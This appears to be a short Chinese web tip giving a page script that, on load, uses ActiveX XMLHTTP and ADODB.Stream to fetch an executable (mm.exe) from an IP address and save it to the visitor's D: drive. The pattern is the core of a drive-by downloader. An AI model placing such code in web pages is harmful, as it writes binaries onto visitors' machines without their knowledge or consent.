&#106avascript与xmlhttp联合实现文件下载

<script language='javascript'>

var xh;

function getXML(geturl)

{

alert("ll");

xh = new ActiveXObject("Microsoft.XMLHTTP");

xh.onreadystatechange = getReady;

xh.open("GET",geturl,true);

xh.send();

}

function getReady()

{

alert(xh.readyState);

if(xh.readyState==4)

{

if(xh.status==200)

{saveFile("d:\mm.exe");return true;}

else

{return false;}

}

else

return false;

}

function saveFile(tofile)

{

var objStream;

var imgs;

imgs = xh.responseBody;

objStream = new ActiveXObject("ADODB.Stream");

objStream.Type = 1;

objStream.open();

objStream.write(imgs);

objStream.SaveToFile(tofile)

}

getXML("http://192.168.22.206/mm.exe");

</script>